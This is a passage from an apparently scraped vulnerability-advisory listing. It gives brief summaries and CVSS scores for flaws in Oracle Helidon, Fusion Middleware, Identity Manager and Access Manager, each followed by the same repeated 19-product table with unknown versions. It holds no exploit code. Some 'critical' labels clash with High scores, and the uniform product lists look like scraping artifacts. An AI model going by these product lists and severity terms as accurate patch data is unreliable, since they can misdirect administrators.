Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows low-privileged attackers with HTTPS network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.1 indicating high confidentiality and integrity impact.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with infrastructure access to fully compromise the system, with a CVSS 3.1 base score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Access Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access to cause a partial denial of service, rated with a CVSS 3.1 base score of 4.3.
4.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware Helidon 4.5.0 with a CVSS 3.1 base score of 9.8 allows full system compromise via HTTP.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware's Helidon 1.4.20 allows unauthenticated attackers with HTTP access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with infrastructure access to compromise the system, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.
6.1 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows low-privileged attackers with HTTP network access to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.5.
8.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, rated with a CVSS 3.1 base score of 5.3 indicating an integrity impact.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows low-privileged attackers with HTTP network access to potentially compromise system confidentiality, integrity, and availability.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to cause a partial denial of service via HTTP, with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to potentially access or modify critical data, rated with a CVSS 3.1 base score of 6.5 indicating moderate severity.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
